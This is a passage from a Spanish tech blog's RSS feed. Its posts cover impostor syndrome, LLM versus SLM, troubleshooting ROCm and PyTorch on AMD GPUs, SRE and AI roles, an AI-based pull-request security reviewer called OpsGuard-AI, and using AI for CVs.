&lt;/blockquote&gt;
&lt;p&gt;Leer estas historias me hizo ver que mi angustia no era una señal de incompetencia, sino una experiencia compartida.&lt;/p&gt;
&lt;h2&gt;Poner el freno de mano&lt;/h2&gt;
&lt;p&gt;Decidí que ya bastaba.
Entendí que la ansiedad y la sensación de fraude no venían de la falta de conocimiento, sino de la falta de &lt;strong&gt;valoración propia&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Tomé decisiones radicales. Dejé de hacer horas extra para demostrar valía que ya tenía. Dejé de perseguir certificaciones solo para llenar huecos en mi ego. En su lugar, empecé a construir.&lt;/p&gt;
&lt;p&gt;Creé una aplicación gratuita, pagada de mi bolsillo, para ayudar a otros con sus CVs y ofertas laborales. Lo hice sin esperar nada a cambio, solo por el placer de aportar valor. Y al hacerlo, me di cuenta de cuánto había crecido. Pasé de no saber resolver un CTF a crearlos. Pasé de sentirme un peón a convertirme en &lt;strong&gt;AIOPS Engineer&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;La salida de la sombra&lt;/h2&gt;
&lt;p&gt;He dado un salto brutal en salud mental. No porque el trabajo sea más fácil, sino porque yo he cambiado mi relación con él.&lt;/p&gt;
&lt;p&gt;¿Cuándo me entra el síndrome del impostor ahora?
Todavía aparece. Pero ahora me río. Miro atrás, miro a mis compañeros, miro a la comunidad y todo lo que he conseguido.&lt;/p&gt;
&lt;p&gt;Si estás leyendo esto y sientes que vas tarde, que te falta saberlo todo, o que eres un fraude: &lt;strong&gt;Para. Pon el freno de mano.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No necesitas aprender otro framework hoy. Necesitas mirar lo que eras hace seis meses y darte cuenta de que, sin que te dieras cuenta, ya has avanzado una montaña. No vivas más en la sombra. Yo decidí salir, y fue lo mejor que pude hacer en mi vida.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>LLM vs SLM: no es una pelea técnica, es una batalla de narrativa</title><link>https://blog.oscarai.tech/posts/llm-vs-slm-no-es-una-pelea-t%C3%A9cnica-es-una-batalla-de-narrativa</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/llm-vs-slm-no-es-una-pelea-t%C3%A9cnica-es-una-batalla-de-narrativa</guid><description>Una reflexión técnica sobre por qué la supuesta pelea entre LLM y SLM es más narrativa que práctica.</description><pubDate>Sun, 28 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Durante los últimos meses se ha instalado la idea de que existe una pelea técnica entre los grandes modelos de lenguaje y los modelos más pequeños. Se presenta como una carrera por ver quién razona mejor, quién responde más fino o quién gana en benchmarks públicos. Mi experiencia trabajando y probando ambos enfoques es que esa pelea, tal como se cuenta, no es del todo honesta. No porque no haya diferencias técnicas, sino porque el enfrentamiento real no se está dando ahí.&lt;/p&gt;
&lt;h2&gt;Dónde está realmente la pelea&lt;/h2&gt;
&lt;p&gt;Lo que sí existe es una batalla de narrativa. Se habla más del tamaño del modelo, del número de parámetros o de la empresa que hay detrás que del uso concreto que se le da en el día a día. Los modelos que más visibilidad tienen suelen coincidir con los que más inversión hay en publicidad, acuerdos, presencia en medios y voces amplificando el mensaje. Eso no los hace malos ni inútiles, pero sí distorsiona la percepción de qué funciona mejor en un contexto práctico.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;El foco no está en cómo se usa un modelo, sino en cómo se percibe desde fuera.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;El uso diario no sigue la narrativa&lt;/h2&gt;
&lt;p&gt;En mi trabajo diario no tomo decisiones en función de quién ha ganado el último benchmark ni de lo bien posicionada que esté una marca en redes. Las tomo en función de latencia, coste, control, estabilidad y capacidad de iterar sin fricción. En ese terreno, muchos modelos pequeños resuelven tareas de forma más que suficiente y, en algunos casos, con una eficiencia que no se refleja en el ruido exterior.&lt;/p&gt;
&lt;p&gt;No destacan porque no hay interés en empujarlos como producto aspiracional. Simplemente funcionan y hacen su trabajo sin hacer ruido.&lt;/p&gt;
&lt;h2&gt;Cuando bajas al teclado, cambia la conversación&lt;/h2&gt;
&lt;p&gt;Cuando se baja al uso real, la discusión cambia. Deja de importar tanto el modelo perfecto y empieza a importar si responde rápido, si puedo ejecutarlo donde lo necesito y si se adapta a mi forma de trabajar. Ahí la supuesta superioridad técnica de algunos modelos grandes pierde peso frente a soluciones más ajustadas al problema concreto.&lt;/p&gt;
&lt;p&gt;No es una cuestión de tamaño, es una cuestión de encaje.&lt;/p&gt;
&lt;h2&gt;No es una guerra de bandos&lt;/h2&gt;
&lt;p&gt;No digo que los modelos grandes no tengan su sitio. Lo tienen, y en determinados escenarios son la opción correcta. Lo que cuestiono es la idea de que estén ganando porque sean objetivamente mejores en todos los casos. Lo que están ganando es presencia, atención y narrativa.&lt;/p&gt;
&lt;p&gt;Y eso no siempre coincide con lo que mejor funciona cuando te sientas delante del teclado y necesitas sacar trabajo adelante.&lt;/p&gt;
&lt;p&gt;No es una defensa de un bando ni un ataque a otro.&lt;/p&gt;
&lt;p&gt;Es simplemente una observación desde dentro, después de probar, pagar, medir y descartar.&lt;/p&gt;
&lt;p&gt;La pelea que se ve desde fuera no es técnica.&lt;/p&gt;
&lt;p&gt;Es comunicativa.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>Qwen Image en AMD y Nobara: cuando el problema no es el modelo</title><link>https://blog.oscarai.tech/posts/qwen-image-en-amd-y-nobara-cuando-el-problema-no-es-el-modelo</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/qwen-image-en-amd-y-nobara-cuando-el-problema-no-es-el-modelo</guid><pubDate>Sat, 03 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Esta tarde decidí tocar algo muy concreto. Sin prisas, sin redes, sin Cursor y sin la sensación de que tenía que salir algo publicable. Simplemente quería probar &lt;strong&gt;Qwen Image&lt;/strong&gt; en local, con el equipo que uso a diario, medir su comportamiento y documentar lo que pasara.&lt;/p&gt;
&lt;p&gt;No buscaba una demo ni un tutorial de éxito. Buscaba responder a una pregunta muy simple: &lt;strong&gt;si este stack es viable hoy para trabajar en local sin depender de servicios externos&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mi entorno no tiene nada raro. Trabajo con una &lt;strong&gt;AMD RX 7800 XT&lt;/strong&gt;, Linux sobre &lt;strong&gt;Nobara&lt;/strong&gt;, kernel actualizado y &lt;strong&gt;ROCm&lt;/strong&gt; instalado desde los repositorios del sistema. Es exactamente el tipo de configuración que muchos usamos fuera de entornos controlados o máquinas dedicadas solo a pruebas.&lt;/p&gt;
&lt;p&gt;Sobre el papel todo encajaba. En la práctica, no.&lt;/p&gt;
&lt;p&gt;El planteamiento inicial era directo. Instalar Qwen Image usando &lt;strong&gt;Diffusers y PyTorch&lt;/strong&gt;, ejecutar inferencia por GPU y observar consumo y estabilidad. En esta primera fase descarté Docker a propósito. Quería ver qué pasaba directamente sobre el sistema, sin capas que pudieran esconder problemas.&lt;/p&gt;
&lt;p&gt;Arranqué con un entorno clásico usando Python y &lt;code&gt;venv&lt;/code&gt;, junto con las wheels oficiales de PyTorch con soporte ROCm. La instalación fue pesada, pero aparentemente correcta. El problema apareció en el primer import.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ImportError: libamdhip64.so: cannot enable executable stack as shared object requires: &lt;/code&gt;&lt;br /&gt;
&lt;code&gt;Invalid argument&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;En ese momento quedó claro que el fallo no estaba en Qwen Image ni en el código. El choque venía de más abajo.&lt;/p&gt;
&lt;p&gt;A partir de ahí el trabajo dejó de ser sobre modelos y pasó a ser sobre sistema. Verifiqué que ROCm detectaba la GPU, que &lt;code&gt;rocminfo&lt;/code&gt; y &lt;code&gt;clinfo&lt;/code&gt; respondían correctamente y que las librerías del sistema estaban donde debían.&lt;/p&gt;
&lt;p&gt;La librería &lt;code&gt;libamdhip64.so&lt;/code&gt; del sistema estaba correcta. No requería stack ejecutable y no violaba ninguna política de seguridad. El problema era que &lt;strong&gt;PyTorch no estaba usando esa librería&lt;/strong&gt;. Estaba cargando copias embebidas dentro del propio wheel, compiladas con flags incompatibles con un kernel endurecido.&lt;/p&gt;
&lt;p&gt;Se intentó forzar el uso de la librería del sistema con variables de entorno como &lt;code&gt;LD_LIBRARY_PATH&lt;/code&gt; y &lt;code&gt;LD_PRELOAD&lt;/code&gt;. No sirvió. El cargador dinámico seguía priorizando las librerías internas del paquete.&lt;/p&gt;
&lt;p&gt;Para confirmar el diagnóstico se renombró la primera librería problemática con la idea de obligar al uso de la versión del sistema. El resultado fue inmediato:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ImportError: libhiprtc.so: cannot enable executable stack&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ahí el patrón ya era evidente. No se trataba de una librería aislada. Era &lt;strong&gt;toda la cadena HIP embebida en el wheel&lt;/strong&gt;. Esto no se arregla con un parche puntual ni con un ajuste menor. Es una incompatibilidad estructural entre cómo se empaqueta PyTorch ROCm y cómo funcionan distribuciones con políticas de seguridad estrictas.&lt;/p&gt;
&lt;p&gt;El siguiente paso lógico fue probar &lt;strong&gt;Conda&lt;/strong&gt;, una vía habitual en entornos científicos para evitar este tipo de conflictos. Se instaló Miniforge, se creó un entorno limpio y se evitó mezclarlo con &lt;code&gt;venv&lt;/code&gt;, algo que solo añade ruido.&lt;/p&gt;
&lt;p&gt;Ahí apareció otra limitación menos conocida. En los canales estándar de Conda no existen paquetes de PyTorch con soporte ROCm para Linux x86_64. No es un problema de versión ni de sintaxis. Simplemente no están publicados.&lt;/p&gt;
&lt;p&gt;Llegados a ese punto, la conclusión era clara.&lt;/p&gt;
&lt;p&gt;Este experimento no demuestra que &lt;strong&gt;Qwen Image&lt;/strong&gt; no funcione. Tampoco demuestra que &lt;strong&gt;AMD&lt;/strong&gt; no sea válida para cargas de trabajo de IA. Lo que pone sobre la mesa es el estado actual del ecosistema cuando se combinan GPU AMD, ROCm, wheels con librerías embebidas y distribuciones endurecidas.&lt;/p&gt;
&lt;p&gt;Hay entornos donde este stack funciona con menos fricción. Otros sistemas son más permisivos. Este no lo es, y eso no es un error. Es una decisión técnica con consecuencias claras.&lt;/p&gt;
&lt;p&gt;No todos los experimentos acaban con una imagen bonita. A veces el valor está en documentar dónde se rompe el camino. Este tipo de pruebas ahorran tiempo, frustración y expectativas mal colocadas. Ayudan a separar el ruido del análisis técnico.&lt;/p&gt;
&lt;p&gt;Aquí el problema no es el modelo. Tampoco es falta de conocimiento. Es una incompatibilidad concreta, reproducible y bien delimitada.&lt;/p&gt;
&lt;p&gt;Cerrar un experimento con esta conclusión no es fallar. Es entender hasta dónde llega el stack que tienes entre manos. Y eso, en ingeniería, también es avanzar.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>Soberanía en IA: Inferencia Local de Alta Velocidad sobre Silicio AMD de Consumo</title><link>https://blog.oscarai.tech/posts/soberan%C3%ADa-en-ia-inferencia-local-de-alta-velocidad-sobre-silicio-amd-de-consumo</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/soberan%C3%ADa-en-ia-inferencia-local-de-alta-velocidad-sobre-silicio-amd-de-consumo</guid><pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;El dogma de la industria actual sostiene una narrativa binaria: la IA generativa de alta producción requiere ecosistemas cerrados (Mac Studio) o stacks CUDA de nivel empresarial. Esta narrativa domina el mercado, pero ignora las realidades fundamentales de la ingeniería de sistemas.&lt;/p&gt;
&lt;p&gt;Este estudio de caso documenta la optimización del throughput de memoria y la resolución de cuellos de botella a nivel de kernel para modelos multimodales (12B+) sobre hardware de consumo: un Ryzen 7 7700X emparejado con una Radeon RX 7800 XT. El desafío técnico consistió en lograr velocidad de inferencia industrial sobre un sistema operativo Linux con kernel endurecido, sin comprometer las políticas de seguridad restrictivas ni escalar el presupuesto de hardware.&lt;/p&gt;
&lt;h2&gt;Estado de Reactor Nuclear: Diagnóstico de la Ineficiencia&lt;/h2&gt;
&lt;p&gt;La telemetría inicial reveló un sistema operando en estado de fallo crítico. No se trataba de un déficit de capacidad de hardware, sino de una arquitectura de dispatch de datos defectuosa. Los tiempos de cola de trabajo mostraron latencias catastróficas de 47.41s y 39.40s, evidenciando fallos sistémicos en el pipeline de inferencia.&lt;/p&gt;
&lt;p&gt;El análisis de bajo nivel identificó tres cuellos de botella fundamentales que convertían la GPU en un reactor sobrecalentado incapaz de producir trabajo útil:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;VRAM Saturation &amp;amp; Thrashing:&lt;/strong&gt; La ocupación de VRAM superaba el 92%, resultando en &lt;em&gt;Page-In Stalls&lt;/em&gt; críticos. El sistema invertía más ciclos moviendo memoria vía bus PCIe que ejecutando kernels de cómputo.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Command Submission Failure&lt;/strong&gt;: La capa del driver &lt;code&gt;amdgpu&lt;/code&gt; rechazaba la ejecución debido a la falta de buffers de control en espacios de memoria restringidos. Las políticas de seguridad del kernel endurecido bloqueaban operaciones críticas de DMA.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Gestión de Energía Reactiva (DPM):&lt;/strong&gt; El firmware de la GPU fallaba al reconocer la carga computacional, anclando los relojes de memoria (MCLK) en estados &lt;em&gt;idle&lt;/em&gt; (1218MHz vs 2400MHz+ nominal).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ingeniería de Plataforma: Orquestación del Stack&lt;/h2&gt;
&lt;p&gt;La resolución requirió abandonar el escalado de hardware para enfocarse en la optimización pura del dispatch de datos mediante la coordinación de tres capas del stack.&lt;/p&gt;
&lt;h3&gt;1. Gestión de Memoria Heterogénea&lt;/h3&gt;
&lt;p&gt;Implementamos políticas agresivas de segmentación de VRAM para aliviar la contención del bus PCIe y garantizar un &lt;em&gt;context switching&lt;/em&gt; limpio. Se rediseñó el layout de tensores en memoria para minimizar transferencias innecesarias.&lt;/p&gt;
&lt;h3&gt;2. Low-Level DPM Override&lt;/h3&gt;
&lt;p&gt;Sustituimos el control reactivo por una sincronización manual de los estados de potencia. Al forzar frecuencias máximas de reloj de memoria antes del dispatch de tensores, eliminamos la latencia de &lt;em&gt;wake-up&lt;/em&gt;, asegurando un ancho de banda efectivo inmediato.&lt;/p&gt;
&lt;h3&gt;3. Patching de Interfaz del Kernel&lt;/h3&gt;
&lt;p&gt;Para mitigar las restricciones de ejecución entre el runtime stack y las políticas de seguridad, aplicamos parches quirúrgicos a nivel de interfaz del driver. Esto permitió resolver las restricciones de seguridad sin comprometer la integridad del sistema endurecido.&lt;/p&gt;
&lt;h2&gt;Resultados: El Salto de Eficiencia&lt;/h2&gt;
&lt;p&gt;La intervención no produjo una mejora incremental, sino un salto cualitativo en la eficiencia computacional. La telemetría post-optimización confirmó que el hardware de consumo, correctamente orquestado, supera las expectativas de rendimiento de estaciones de trabajo propietarias.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Reducción de Latencia:&lt;/strong&gt; 83%.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Estabilidad de Compute:&lt;/strong&gt; SCLK sostenido de 2358 MHz bajo carga.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eficiencia Térmica&lt;/strong&gt;: 55°C constantes gracias a la eliminación de ciclos de espera ineficientes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusión: El Valor Estratégico de la Autonomía&lt;/h2&gt;
&lt;p&gt;La dependencia de ecosistemas cerrados (Cloud/Propietario) no es solo una decisión técnica, es una decisión económica que implica OPEX elevado, &lt;em&gt;vendor lock-in&lt;/em&gt; y visibilidad limitada del stack.&lt;/p&gt;
&lt;p&gt;Este caso demuestra que la habilidad de ingeniería supera al presupuesto de hardware. Al tomar control total del stack, desde el kernel hasta la capa de aplicación, logramos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Costo Marginal Cero&lt;/strong&gt;: Iteraciones infinitas de refinamiento a $0.00 de costo adicional.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Soberanía de Datos&lt;/strong&gt;: Sin transferencias a terceros.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Velocidad de I+D&lt;/strong&gt;: Prototipado rápido sin las fricciones de costos por token.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si tu equipo de infraestructura afirma que es imposible, probablemente necesitan una perspectiva de &lt;em&gt;Senior Platform Engineering&lt;/em&gt;. Los cuellos de botella no se resuelven con presupuesto; se resuelven con telemetría, análisis de bajo nivel y arquitectura de sistemas disciplinada.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>SRE y AI no son etiquetas</title><link>https://blog.oscarai.tech/posts/sre-y-ai-no-son-etiquetas</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/sre-y-ai-no-son-etiquetas</guid><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;Son una forma de pensar&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/images/uploads/logo-post.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Últimamente estoy volviendo a leer ofertas de trabajo con calma.&lt;/p&gt;
&lt;p&gt;Sin ansiedad. Sin prisa.&lt;/p&gt;
&lt;p&gt;Solo observando el lenguaje.&lt;/p&gt;
&lt;p&gt;AI Engineer por aquí.&lt;/p&gt;
&lt;p&gt;SRE por allá.&lt;/p&gt;
&lt;p&gt;Y cuanto más leo, más clara tengo una sensación incómoda: &lt;strong&gt;estamos usando esas palabras para cosas que no lo son&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;AI se ha convertido en una &lt;strong&gt;etiqueta comodín&lt;/strong&gt;. Si usas un asistente, conectas una API o automatizas algo con un modelo, ya entra en el saco. No importa si entiendes el sistema, los datos, el coste o los límites. La herramienta está ahí, luego el rol existe.&lt;/p&gt;
&lt;p&gt;Con SRE pasa algo parecido. Se presenta como la evolución natural del sysadmin. Un poco más de cloud, algo de Terraform, métricas bonitas en Grafana y guardias mejor pagadas. Mismo trabajo, otro nombre.&lt;/p&gt;
&lt;p&gt;Pero &lt;strong&gt;ni una cosa ni la otra van de eso&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;AI Engineer bien enfocado&lt;/strong&gt; no es alguien que usa IA. Es alguien que entiende &lt;strong&gt;sistemas complejos&lt;/strong&gt; y sabe dónde la IA aporta valor real y dónde solo añade ruido. Sabe cuándo un modelo es necesario y cuándo es un error. Piensa en latencia, en coste, en control, en fallo. &lt;strong&gt;No romantiza la magia&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Y un &lt;strong&gt;SRE no es un sysadmin 2.0&lt;/strong&gt;. Es alguien que observa cómo funciona un sistema en producción y, con solo ver la arquitectura y las métricas, sabe lo que va a pasar antes de que pase. No reacciona. &lt;strong&gt;Anticipa&lt;/strong&gt;. No apaga fuegos. &lt;strong&gt;Evita que empiecen&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;La diferencia no está en la herramienta. &lt;strong&gt;Está en la forma de pensar&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;El problema es que el mercado necesita nombres nuevos para vender lo mismo de siempre. Y así acabamos llamando AI a automatizaciones frágiles y SRE a operaciones reactivas con otro envoltorio. Luego llegan los incidentes, los sobrecostes y la frustración. Y nadie entiende por qué.&lt;/p&gt;
&lt;p&gt;No es una crítica a quien empieza. Todos hemos empezado usando herramientas antes de entender sistemas. El problema es &lt;strong&gt;institucionalizar eso como rol senior&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cuando se vacían las etiquetas, se vacía también la expectativa. Y cuando la expectativa es baja, &lt;strong&gt;el proyecto nace roto&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;No escribo esto para marcar bandos ni para decir quién es más o menos ingeniero. Lo escribo porque llevo tiempo viendo cómo se confunden los nombres con el fondo. Y porque esa confusión &lt;strong&gt;tiene consecuencias reales en producción&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SRE y AI no son títulos aspiracionales. Son responsabilidades.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Si se usan como marketing, &lt;strong&gt;el sistema acaba pagando el precio&lt;/strong&gt;.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title> OpsGuard-AI: cuando el que revisa el código también es una IA     </title><link>https://blog.oscarai.tech/posts/opsguard-ai-cuando-el-que-revisa-el-c%C3%B3digo-tambi%C3%A9n-es-una-ia</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/opsguard-ai-cuando-el-que-revisa-el-c%C3%B3digo-tambi%C3%A9n-es-una-ia</guid><pubDate>Fri, 06 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Cuando el que revisa el código también es una IA&lt;/h2&gt;
&lt;p&gt;Llevo tiempo estudiando un máster en Inteligencia Artificial mientras trabajo como Platform Engineer. En algún punto del camino, las dos cosas colisionaron de una forma que no esperaba.&lt;/p&gt;
&lt;p&gt;Y de esa colisión nació OpsGuard-AI. Mi TFM.&lt;/p&gt;
&lt;h2&gt;El problema que nadie quería nombrar&lt;/h2&gt;
&lt;p&gt;Empecé el máster con una idea vaga de lo que quería investigar. Pero cuanto más trabajaba con LLMs en mi día a día, más incómodo me sentía con algo que nadie estaba diciendo en voz alta:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Quién revisa el código que genera la IA?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No hablo de Copilot completando una función. Hablo de agentes autónomos que abren pull requests, que comiten cambios, que modifican infraestructura. Cosas que ya están pasando en producción. Hoy.&lt;/p&gt;
&lt;p&gt;El problema no es que la IA genere código malo. El problema es que genera código &lt;em&gt;plausible&lt;/em&gt;. Código que compila, que pasa los tests unitarios, que tiene buena pinta. Y escondido dentro, una SQL injection. Un secret hardcodeado. O algo más sutil: una imagen Docker descargada de &lt;code&gt;ghrc.io&lt;/code&gt; en lugar de &lt;code&gt;ghcr.io&lt;/code&gt;. Una letra de diferencia. Un ataque de typosquatting que ningún SAST del mercado va a pillar porque la sintaxis es perfectamente válida.&lt;/p&gt;
&lt;p&gt;Eso fue el detonante.&lt;/p&gt;
&lt;h2&gt;La idea: una puerta antes de producción&lt;/h2&gt;
&lt;p&gt;La propuesta de OpsGuard-AI es simple en concepto y compleja en ejecución: &lt;strong&gt;un sistema de revisión de seguridad que se sienta en el pipeline de CI/CD y analiza cada pull request antes de que el código llegue a producción&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;No otro escáner de dependencias. No otra herramienta de SAST con 500 reglas que nadie mantiene. Algo diferente.&lt;/p&gt;
&lt;p&gt;El núcleo del sistema son dos puertas en serie:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gate 1 — Motor de Regex:&lt;/strong&gt; Detección estructural. Patrones de credenciales, tokens de AWS, API keys. Determinista, sin latencia, sin llamadas externas. Si el patrón está, se bloquea en milisegundos.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Gate 2 — Motor Semántico con LLM:&lt;/strong&gt; Aquí es donde cambia todo. El diff del PR se le pasa a un modelo de lenguaje con un prompt de análisis de seguridad muy trabajado. El modelo no busca patrones. &lt;em&gt;Entiende el contexto&lt;/em&gt;. Puede ver que una query construida con concatenación de strings en ese contexto específico es una SQL injection aunque no haya ningún regex que la defina.&lt;/p&gt;
&lt;p&gt;La puntuación de riesgo va de 0 a 10. Por encima de 7, el sistema bloquea y abre automáticamente un GitHub Issue con el label &lt;code&gt;security-block&lt;/code&gt; y la justificación detallada.&lt;/p&gt;
&lt;h2&gt;Lo que más me costó entender&lt;/h2&gt;
&lt;p&gt;Diseñar el sistema fue complicado. Pero lo que más tiempo me llevó no fue el código. Fue tomar decisiones de arquitectura que importan de verdad.&lt;/p&gt;
&lt;p&gt;La más importante: &lt;strong&gt;el dato sensible nunca sale del entorno local&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Suena obvio. Pero tiene consecuencias enormes. Si mandas el diff de un PR a una API externa, estás mandando tu código, tus secretos, tu arquitectura, a un tercero. Eso es inaceptable en cualquier entorno serio.&lt;/p&gt;
&lt;p&gt;La solución fue usar OpenRouter con modelos configurables, permitiendo apuntar a modelos locales si la organización lo requiere. El Gate 1, el de regex, funciona completamente offline. Y el Gate 2 solo recibe lo estrictamente necesario para el análisis.&lt;/p&gt;
&lt;p&gt;Otra decisión que defendí con fuerza en los ADRs del proyecto: &lt;strong&gt;política de fallo cerrado&lt;/strong&gt;. Si el sistema no puede determinar si algo es seguro, bloquea. No aprueba. No deja pasar &quot;por si acaso&quot;. El riesgo desconocido es riesgo.&lt;/p&gt;
&lt;p&gt;En un mundo donde los agentes de IA pueden cometer código a las 3 de la madrugada sin que nadie mire, esa decisión no es filosófica. Es práctica.&lt;/p&gt;
&lt;h2&gt;El momento en que supe que funcionaba&lt;/h2&gt;
&lt;p&gt;Preparé un conjunto de pruebas que internamente llamo el &lt;em&gt;shooting range&lt;/em&gt;: código intencionalmente vulnerable, diseñado para ver si el sistema lo detecta.&lt;/p&gt;
&lt;p&gt;El caso que más me gustó fue el del typosquatting. Una imagen Docker apuntando a &lt;code&gt;ghrc.io&lt;/code&gt; en lugar de &lt;code&gt;ghcr.io&lt;/code&gt;. Un solo carácter. El Gate 1 no lo detecta, porque no hay ningún patrón de credencial. Semgrep tampoco. Trivy tampoco.&lt;/p&gt;
&lt;p&gt;El Gate 2 lo bloqueó con un score de 9/10 y una explicación que describía exactamente el vector de ataque: un dominio que imita al registro oficial de GitHub para inyectar imágenes maliciosas en el pipeline.&lt;/p&gt;
&lt;p&gt;Ahí entendí que el enfoque tenía sentido real.&lt;/p&gt;
&lt;h2&gt;Lo que aprendí construyendo esto&lt;/h2&gt;
&lt;p&gt;Primero: &lt;strong&gt;el prompt engineering es ingeniería, no magia&lt;/strong&gt;. Pasé semanas refinando el prompt del Gate 2. Pequeños cambios en la instrucción cambian drásticamente la calidad del análisis. Externalicé los prompts a su propio directorio para poder versionarlos y mejorarlos sin tocar código. Eso fue una de las mejores decisiones del proyecto.&lt;/p&gt;
&lt;p&gt;Segundo: &lt;strong&gt;la arquitectura modular no es un lujo&lt;/strong&gt;. Separar la ingesta del diff, la detección de patrones, el cliente LLM y el CLI en módulos independientes me permitió testear cada pieza por separado. Puedo ejecutar todo el test suite sin una sola llamada a la API. En CI/CD eso es fundamental.&lt;/p&gt;
&lt;p&gt;Tercero, y esto es lo que me llevo más allá del TFM: &lt;strong&gt;el problema de la seguridad en pipelines con IA va a ser un campo crítico en los próximos años&lt;/strong&gt;. No porque la IA sea mala. Sino porque estamos dándole capacidad de acción a sistemas que no tienen criterio propio sobre las consecuencias. Alguien tiene que tenerlo.&lt;/p&gt;
&lt;h2&gt;Por qué lo hice open source&lt;/h2&gt;
&lt;p&gt;Porque si el problema es real, la solución tiene que poder revisarse. No tiene sentido construir una herramienta de seguridad que sea una caja negra.&lt;/p&gt;
&lt;p&gt;Todo el código, los ADRs, el diseño de los prompts, el razonamiento detrás de cada decisión está en el repositorio: &lt;strong&gt;&lt;a href=&quot;https://github.com/oscaar90/OpsGuard-AI/&quot;&gt;OpsGuard-AI&lt;/a&gt;&lt;/strong&gt;  . Si trabajas en DevOps, en seguridad, o simplemente te preocupa lo que pasa cuando los agentes de IA llegan a tu pipeline, échale un vistazo.&lt;/p&gt;
&lt;p&gt;Y si ves algo que mejorarías, abre un issue. O mejor, un PR.&lt;/p&gt;
&lt;p&gt;Aunque ahora ya sabes que OpsGuard lo va a revisar antes que yo.&lt;/p&gt;
</content:encoded><author>Oscar</author></item><item><title>Cómo mejorar tu CV con inteligencia artificial sin convertirlo en texto genérico</title><link>https://blog.oscarai.tech/posts/c%C3%B3mo-mejorar-tu-cv-con-inteligencia-artificial-sin-convertirlo-en-texto-gen%C3%A9rico</link><guid isPermaLink="true">https://blog.oscarai.tech/posts/c%C3%B3mo-mejorar-tu-cv-con-inteligencia-artificial-sin-convertirlo-en-texto-gen%C3%A9rico</guid><pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;La inteligencia artificial no va a escribir un buen CV por ti.&lt;/p&gt;
&lt;p&gt;Puede ayudarte a detectar carencias, mejorar la redacción y adaptar mejor tu experiencia a una oferta concreta. Pero si le delegas todo el criterio, el resultado suele ser el mismo. Un currículum plano, inflado y fácil de detectar.&lt;/p&gt;
&lt;p&gt;Aquí falla mucha gente. Unos copian y pegan lo primero que devuelve una IA y lo envían sin tocar nada. Otros rechazan cualquier ayuda porque creen que usar estas herramientas es hacer trampa. Ninguno de los dos enfoques sirve.&lt;/p&gt;
&lt;p&gt;La IA aporta valor cuando funciona como apoyo. No como sustituto de tu experiencia, de tu criterio ni de tu voz.&lt;/p&gt;
&lt;h2&gt;Antes de empezar, entiende para qué sirve cada herramienta&lt;/h2&gt;
&lt;p&gt;No todas las herramientas de IA hacen lo mismo y mezclar usos suele acabar mal.&lt;/p&gt;
&lt;p&gt;Por un lado están los analizadores de CV. Sirven para evaluar un documento existente y señalar problemas de estructura, claridad, compatibilidad con ATS, secciones ausentes o falta de términos relevantes para una vacante. Son útiles para detectar fallos que tú ya no ves porque llevas demasiado tiempo revisando el mismo archivo.&lt;/p&gt;
